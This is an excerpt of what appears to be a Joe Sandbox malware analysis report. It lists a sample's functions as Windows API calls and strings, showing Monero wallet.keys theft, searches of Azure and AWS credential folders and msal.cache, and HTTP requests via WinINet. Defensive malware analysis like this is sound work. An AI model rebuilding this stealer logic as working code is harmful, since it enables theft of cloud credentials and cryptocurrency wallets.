InternetReadFile.WININET(00000000,?,000007CF,?), ref: 00EC4E49
InternetCloseHandle.WININET(00000000), ref: 00EC4EAD
InternetCloseHandle.WININET(00000000), ref: 00EC4EC5
HttpOpenRequestA.WININET(00000000,00A9EA68,?,00A9E290,00000000,00000000,00400100,00000000), ref: 00EC4B15

Part of subcall function 00EDA9B0: lstrlen.KERNEL32(?,00A99248,?,\Monero\wallet.keys,00EE0E17), ref: 00EDA9C5
Part of subcall function 00EDA9B0: lstrcpy.KERNEL32(00000000), ref: 00EDAA04
Part of subcall function 00EDA9B0: lstrcat.KERNEL32(00000000,00000000), ref: 00EDAA12

Part of subcall function 00EDA8A0: lstrcpy.KERNEL32(?,00EE0E17), ref: 00EDA905

Part of subcall function 00EDA920: lstrcpy.KERNEL32(00000000,?), ref: 00EDA972
Part of subcall function 00EDA920: lstrcat.KERNEL32(00000000), ref: 00EDA982

InternetCloseHandle.WININET(00000000), ref: 00EC4ECF

Strings

", xrefs: 00EC4D33
------, xrefs: 00EC49BD
------, xrefs: 00EC4B28
", xrefs: 00EC4BF2
------, xrefs: 00EC4C69

Memory Dump Source

Source File: 00000000.00000002.1861602216.0000000000EC1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00EC0000, based on PE: true

Associated: 00000000.00000002.1861584379.0000000000EC0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000F1A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000F45000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000F48000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000F4F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000F52000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000F71000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000F7D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000FA2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000FAF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000FCF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000FDB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000FDE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000001065000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000001085000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.000000000108B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.000000000110A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862007523.000000000111E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862007523.00000000012A3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862007523.0000000001383000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862007523.00000000013A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862007523.00000000013AE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862007523.00000000013BB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862246175.00000000013BC000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862351254.0000000001557000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862368113.0000000001558000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ec0000_file.jbxd

Yara matches

Similarity

API ID: Internet$lstrcpy$lstrlen$CloseHandle$HttpOpenRequestlstrcat$ConnectCrackFileReadSend
String ID: "$"$------$------$------
API String ID: 460715078-2180234286
Opcode ID: 9ba692eab7634b0e48afb5fb339c3ac019be3088031ce31c91d120b7bb14ab02
Instruction ID: 55fe9427c86c2c6351008521cb85ec8ce604c782ea5fb1cd910065eaa635e14b
Opcode Fuzzy Hash: 9ba692eab7634b0e48afb5fb339c3ac019be3088031ce31c91d120b7bb14ab02
Instruction Fuzzy Hash: BC127F769102189ACB19EB50DCA6FEEB3B8EF54300F5451AAB50673191EF702F4ACF61

Function 00ED8320 Relevance: 24.7, APIs: 11, Strings: 3, Instructions: 196
registryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00EDA740: lstrcpy.KERNEL32(00EE0E17,00000000), ref: 00EDA788

RegOpenKeyExA.KERNEL32(00000000,00A9AFC8,00000000,00020019,00000000,00EE05B6), ref: 00ED83A4
RegEnumKeyExA.KERNEL32(00000000,00000000,?,00000400,00000000,00000000,00000000,00000000), ref: 00ED8426
wsprintfA.USER32 ref: 00ED8459
RegOpenKeyExA.KERNEL32(00000000,?,00000000,00020019,00000000), ref: 00ED847B
RegCloseKey.ADVAPI32(00000000), ref: 00ED848C
RegCloseKey.ADVAPI32(00000000), ref: 00ED8499

Part of subcall function 00EDA7A0: lstrcpy.KERNEL32(?,00000000), ref: 00EDA7E6

Strings

%s\%s, xrefs: 00ED844D
?, xrefs: 00ED837A
- , xrefs: 00ED85A3

Memory Dump Source

Source File: 00000000.00000002.1861602216.0000000000EC1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00EC0000, based on PE: true

Associated: 00000000.00000002.1861584379.0000000000EC0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000F1A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000F45000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000F48000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000F4F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000F52000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000F71000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000F7D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000FA2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000FAF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000FCF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000FDB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000FDE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000001065000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000001085000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.000000000108B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.000000000110A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862007523.000000000111E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862007523.00000000012A3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862007523.0000000001383000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862007523.00000000013A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862007523.00000000013AE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862007523.00000000013BB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862246175.00000000013BC000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862351254.0000000001557000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862368113.0000000001558000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ec0000_file.jbxd

Yara matches

Similarity

API ID: CloseOpenlstrcpy$Enumwsprintf
String ID: - $%s\%s$?
API String ID: 3246050789-3278919252
Opcode ID: e750ccd1c1aab1bb93e721dc1c5e55d744765a13c98ff12fe24093aa089ebaba
Instruction ID: 5431431c43f89785cadc67b314f2dbcd9b8f9b1cf9b0500426d2e143c2dff626
Opcode Fuzzy Hash: e750ccd1c1aab1bb93e721dc1c5e55d744765a13c98ff12fe24093aa089ebaba
Instruction Fuzzy Hash: 26811E719102189BDB29DF50DD95FEA77B8FF48700F0092AAE509A6240DF716B86CF94

Function 00EC6280 Relevance: 24.7, APIs: 11, Strings: 3, Instructions: 191networkfileCOMMON

Download Yara Rule

APIs

Part of subcall function 00EDA7A0: lstrcpy.KERNEL32(?,00000000), ref: 00EDA7E6

Part of subcall function 00EC47B0: lstrlen.KERNEL32(00000000,00000000,0000003C), ref: 00EC4839
Part of subcall function 00EC47B0: InternetCrackUrlA.WININET(00000000,00000000), ref: 00EC4849

Part of subcall function 00EDA740: lstrcpy.KERNEL32(00EE0E17,00000000), ref: 00EDA788

InternetOpenA.WININET(00EE0DFE,00000001,00000000,00000000,00000000), ref: 00EC62E1
StrCmpCA.SHLWAPI(?,00A9E948), ref: 00EC6303
InternetConnectA.WININET(00000000,?,?,00000000,00000000,00000003,00000000,00000000), ref: 00EC6335
HttpOpenRequestA.WININET(00000000,GET,?,00A9E290,00000000,00000000,00400100,00000000), ref: 00EC6385
InternetSetOptionA.WININET(00000000,0000001F,?,00000004), ref: 00EC63BF
HttpSendRequestA.WININET(00000000,00000000,00000000,00000000,00000000), ref: 00EC63D1
HttpQueryInfoA.WININET(00000000,00000013,?,00000100,00000000), ref: 00EC63FD
InternetReadFile.WININET(00000000,?,000007CF,?), ref: 00EC646D
InternetCloseHandle.WININET(00000000), ref: 00EC64EF
InternetCloseHandle.WININET(00000000), ref: 00EC64F9
InternetCloseHandle.WININET(00000000), ref: 00EC6503

Strings

GET, xrefs: 00EC637C
ERROR, xrefs: 00EC6407
ERROR, xrefs: 00EC64C9

Memory Dump Source

Source File: 00000000.00000002.1861602216.0000000000EC1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00EC0000, based on PE: true

Associated: 00000000.00000002.1861584379.0000000000EC0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000F1A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000F45000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000F48000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000F4F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000F52000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000F71000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000F7D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000FA2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000FAF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000FCF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000FDB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000FDE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000001065000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000001085000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.000000000108B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.000000000110A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862007523.000000000111E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862007523.00000000012A3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862007523.0000000001383000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862007523.00000000013A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862007523.00000000013AE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862007523.00000000013BB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862246175.00000000013BC000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862351254.0000000001557000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862368113.0000000001558000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ec0000_file.jbxd

Yara matches

Similarity

API ID: Internet$CloseHandleHttp$OpenRequestlstrcpy$ConnectCrackFileInfoOptionQueryReadSendlstrlen
String ID: ERROR$ERROR$GET
API String ID: 3749127164-2509457195
Opcode ID: 6c4daf0918598e9bdd232fae2d1b6dcd5347656f23cf04cd09cf3c46226309fe
Instruction ID: 4faf9c343916c4719918b08bc4c6ef8cee0c9e15235901a289acdbad909ce40d
Opcode Fuzzy Hash: 6c4daf0918598e9bdd232fae2d1b6dcd5347656f23cf04cd09cf3c46226309fe
Instruction Fuzzy Hash: 9E713B71A00358ABDB28DB90DC49FEE77B4FB44700F1091A9F50A7B284DBB56A86CF51

Function 00ED5510 Relevance: 23.1, APIs: 7, Strings: 6, Instructions: 383sleepCOMMON

Download Yara Rule

APIs

Part of subcall function 00EDA820: lstrlen.KERNEL32(00EC4F05,?,?,00EC4F05,00EE0DDE), ref: 00EDA82B
Part of subcall function 00EDA820: lstrcpy.KERNEL32(00EE0DDE,00000000), ref: 00EDA885

Part of subcall function 00EDA740: lstrcpy.KERNEL32(00EE0E17,00000000), ref: 00EDA788

StrCmpCA.SHLWAPI(00000000,ERROR,00000000), ref: 00ED5644
StrCmpCA.SHLWAPI(00000000,ERROR), ref: 00ED56A1
StrCmpCA.SHLWAPI(00000000,ERROR), ref: 00ED5857

Part of subcall function 00EDA7A0: lstrcpy.KERNEL32(?,00000000), ref: 00EDA7E6

Part of subcall function 00ED51F0: StrCmpCA.SHLWAPI(00000000,ERROR), ref: 00ED5228

Part of subcall function 00EDA8A0: lstrcpy.KERNEL32(?,00EE0E17), ref: 00EDA905

Part of subcall function 00ED52C0: StrCmpCA.SHLWAPI(00000000,ERROR,00000000), ref: 00ED5318
Part of subcall function 00ED52C0: lstrlen.KERNEL32(00000000), ref: 00ED532F
Part of subcall function 00ED52C0: StrStrA.SHLWAPI(00000000,00000000), ref: 00ED5364
Part of subcall function 00ED52C0: lstrlen.KERNEL32(00000000), ref: 00ED5383
Part of subcall function 00ED52C0: lstrlen.KERNEL32(00000000), ref: 00ED53AE

StrCmpCA.SHLWAPI(00000000,ERROR,00000000), ref: 00ED578B
StrCmpCA.SHLWAPI(00000000,ERROR,00000000), ref: 00ED5940
StrCmpCA.SHLWAPI(00000000,ERROR), ref: 00ED5A0C
Sleep.KERNEL32(0000EA60), ref: 00ED5A1B

Strings

ERROR, xrefs: 00ED577D
ERROR, xrefs: 00ED5636
ERROR, xrefs: 00ED5849
ERROR, xrefs: 00ED5932
ERROR, xrefs: 00ED59FE
ERROR, xrefs: 00ED5693

Memory Dump Source

Source File: 00000000.00000002.1861602216.0000000000EC1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00EC0000, based on PE: true

Associated: 00000000.00000002.1861584379.0000000000EC0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000F1A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000F45000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000F48000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000F4F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000F52000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000F71000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000F7D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000FA2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000FAF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000FCF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000FDB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000FDE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000001065000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000001085000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.000000000108B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.000000000110A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862007523.000000000111E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862007523.00000000012A3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862007523.0000000001383000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862007523.00000000013A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862007523.00000000013AE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862007523.00000000013BB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862246175.00000000013BC000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862351254.0000000001557000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862368113.0000000001558000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ec0000_file.jbxd

Yara matches

Similarity

API ID: lstrcpylstrlen$Sleep
String ID: ERROR$ERROR$ERROR$ERROR$ERROR$ERROR
API String ID: 507064821-2791005934
Opcode ID: 34558fc43bf4df0f55cff4d29951a9c9adafeaa1c61537f50c9e6aad13c39bae
Instruction ID: caff34d595388edf75ecb8cc2021cc3b39343bf0fb2775f94ad931a11aa03269
Opcode Fuzzy Hash: 34558fc43bf4df0f55cff4d29951a9c9adafeaa1c61537f50c9e6aad13c39bae
Instruction Fuzzy Hash: 74E188769102049ACB18FBA0ED56EED73B8EF54300F44A13AB41677285EF715B4BCB92

Function 00ED4D70 Relevance: 22.6, APIs: 6, Strings: 9, Instructions: 123stringCOMMON

Download Yara Rule

APIs

Part of subcall function 00ED8DE0: SHGetFolderPathA.SHELL32(00000000,0000001C,00000000,00000000,?,?,000003E8), ref: 00ED8E0B

lstrcat.KERNEL32(?,00000000), ref: 00ED4DB0
lstrcat.KERNEL32(?,\.azure\), ref: 00ED4DCD

Part of subcall function 00ED4910: wsprintfA.USER32 ref: 00ED492C
Part of subcall function 00ED4910: FindFirstFileA.KERNEL32(?,?), ref: 00ED4943

lstrcat.KERNEL32(?,00000000), ref: 00ED4E3C
lstrcat.KERNEL32(?,\.aws\), ref: 00ED4E59

Part of subcall function 00ED4910: StrCmpCA.SHLWAPI(?,00EE0FDC), ref: 00ED4971
Part of subcall function 00ED4910: StrCmpCA.SHLWAPI(?,00EE0FE0), ref: 00ED4987
Part of subcall function 00ED4910: FindNextFileA.KERNEL32(000000FF,?), ref: 00ED4B7D
Part of subcall function 00ED4910: FindClose.KERNEL32(000000FF), ref: 00ED4B92

lstrcat.KERNEL32(?,00000000), ref: 00ED4EC8
lstrcat.KERNEL32(?,\.IdentityService\), ref: 00ED4EE5

Part of subcall function 00ED4910: wsprintfA.USER32 ref: 00ED49B0
Part of subcall function 00ED4910: StrCmpCA.SHLWAPI(?,00EE08D2), ref: 00ED49C5
Part of subcall function 00ED4910: wsprintfA.USER32 ref: 00ED49E2
Part of subcall function 00ED4910: PathMatchSpecA.SHLWAPI(?,?), ref: 00ED4A1E
Part of subcall function 00ED4910: lstrcat.KERNEL32(?,00A9EB08), ref: 00ED4A4A
Part of subcall function 00ED4910: lstrcat.KERNEL32(?,00EE0FF8), ref: 00ED4A5C
Part of subcall function 00ED4910: lstrcat.KERNEL32(?,?), ref: 00ED4A70
Part of subcall function 00ED4910: lstrcat.KERNEL32(?,00EE0FFC), ref: 00ED4A82
Part of subcall function 00ED4910: lstrcat.KERNEL32(?,?), ref: 00ED4A96
Part of subcall function 00ED4910: CopyFileA.KERNEL32(?,?,00000001), ref: 00ED4AAC
Part of subcall function 00ED4910: DeleteFileA.KERNEL32(?), ref: 00ED4B31

Strings

*.*, xrefs: 00ED4DD8
\.IdentityService\, xrefs: 00ED4ED9
Azure\.aws, xrefs: 00ED4E5F
*.*, xrefs: 00ED4E64
msal.cache, xrefs: 00ED4EF0
\.aws\, xrefs: 00ED4E4D
Azure\.IdentityService, xrefs: 00ED4EEB
\.azure\, xrefs: 00ED4DC1
Azure\.azure, xrefs: 00ED4DD3

Memory Dump Source

Source File: 00000000.00000002.1861602216.0000000000EC1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00EC0000, based on PE: true

Associated: 00000000.00000002.1861584379.0000000000EC0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000F1A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000F45000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000F48000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000F4F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000F52000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000F71000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000F7D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000FA2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000FAF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000FCF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000FDB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000FDE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000001065000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000001085000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.000000000108B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.000000000110A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862007523.000000000111E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862007523.00000000012A3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862007523.0000000001383000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862007523.00000000013A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862007523.00000000013AE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862007523.00000000013BB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862246175.00000000013BC000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862351254.0000000001557000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1862368113.0000000001558000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ec0000_file.jbxd

Yara matches

Similarity

API ID: lstrcat$File$Findwsprintf$Path$CloseCopyDeleteFirstFolderMatchNextSpec
String ID: *.*$*.*$Azure\.IdentityService$Azure\.aws$Azure\.azure$\.IdentityService\$\.aws\$\.azure\$msal.cache
API String ID: 949356159-974132213
Opcode ID: 036cae82668faa198511eacb2ea08d938730780cf42b36372a7e39baf47e0f14
Instruction ID: 12f530baa5ead991ea7054a42a63ad910b3d2c6aaba4a48ab7064941bb850078
Opcode Fuzzy Hash: 036cae82668faa198511eacb2ea08d938730780cf42b36372a7e39baf47e0f14
Instruction Fuzzy Hash: FC41E7BA94030867CB14F760EC47FED3378AB60700F0054A57189721C1EEF59BCA8B92

Function 00EC1310 Relevance: 15.9, APIs: 5, Strings: 4, Instructions: 141stringfileCOMMON

Download Yara Rule

APIs

Part of subcall function 00EC12A0: GetProcessHeap.KERNEL32(00000000,00000104), ref: 00EC12B4
Part of subcall function 00EC12A0: RtlAllocateHeap.NTDLL(00000000), ref: 00EC12BB
Part of subcall function 00EC12A0: RegOpenKeyExA.KERNEL32(000000FF,?,00000000,00020119,?), ref: 00EC12D7
Part of subcall function 00EC12A0: RegQueryValueExA.ADVAPI32(?,000000FF,00000000,00000000,?,000000FF), ref: 00EC12F5
Part of subcall function 00EC12A0: RegCloseKey.ADVAPI32(?), ref: 00EC12FF

lstrcat.KERNEL32(?,00000000), ref: 00EC134F
lstrlen.KERNEL32(?), ref: 00EC135C
lstrcat.KERNEL32(?,.keys), ref: 00EC1377

Part of subcall function 00EDA740: lstrcpy.KERNEL32(00EE0E17,00000000), ref: 00EDA788

Part of subcall function 00EDA9B0: lstrlen.KERNEL32(?,00A99248,?,\Monero\wallet.keys,00EE0E17), ref: 00EDA9C5
Part of subcall function 00EDA9B0: lstrcpy.KERNEL32(00000000), ref: 00EDAA04
Part of subcall function 00EDA9B0: lstrcat.KERNEL32(00000000,00000000), ref: 00EDAA12

Part of subcall function 00EDA8A0: lstrcpy.KERNEL32(?,00EE0E17), ref: 00EDA905

Part of subcall function 00ED8B60: GetSystemTime.KERNEL32(00EE0E1A,00A9A900,00EE05AE,?,?,00EC13F9,?,0000001A,00EE0E1A,00000000,?,00A99248,?,\Monero\wallet.keys,00EE0E17), ref: 00ED8B86

Part of subcall function 00EDA920: lstrcpy.KERNEL32(00000000,?), ref: 00EDA972
Part of subcall function 00EDA920: lstrcat.KERNEL32(00000000), ref: 00EDA982

CopyFileA.KERNEL32(?,00000000,00000001), ref: 00EC1465

Part of subcall function 00EDA7A0: lstrcpy.KERNEL32(?,00000000), ref: 00EDA7E6

Part of subcall function 00EC99C0: CreateFileA.KERNEL32(00000000,80000000,00000001,00000000,00000003,00000000,00000000), ref: 00EC99EC
Part of subcall function 00EC99C0: GetFileSizeEx.KERNEL32(000000FF,?), ref: 00EC9A11
Part of subcall function 00EC99C0: LocalAlloc.KERNEL32(00000040,?), ref: 00EC9A31
Part of subcall function 00EC99C0: ReadFile.KERNEL32(000000FF,?,00000000,00EC148F,00000000), ref: 00EC9A5A
Part of subcall function 00EC99C0: LocalFree.KERNEL32(00EC148F), ref: 00EC9A90
Part of subcall function 00EC99C0: CloseHandle.KERNEL32(000000FF), ref: 00EC9A9A

DeleteFileA.KERNEL32(00000000), ref: 00EC14EF

Strings

\Monero\wallet.keys, xrefs: 00EC138D
.keys, xrefs: 00EC136B
wallet_path, xrefs: 00EC1330
SOFTWARE\monero-project\monero-core, xrefs: 00EC1335

Memory Dump Source

Source File: 00000000.00000002.1861602216.0000000000EC1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00EC0000, based on PE: true

Associated: 00000000.00000002.1861584379.0000000000EC0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000F1A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000F45000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000F48000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000F4F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000F52000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000F71000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000F7D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000FA2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000FAF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000FCF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000FDB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1861602216.0000000000FDE000.00000040.00000001.01000000.00000003.sdmpDownload File
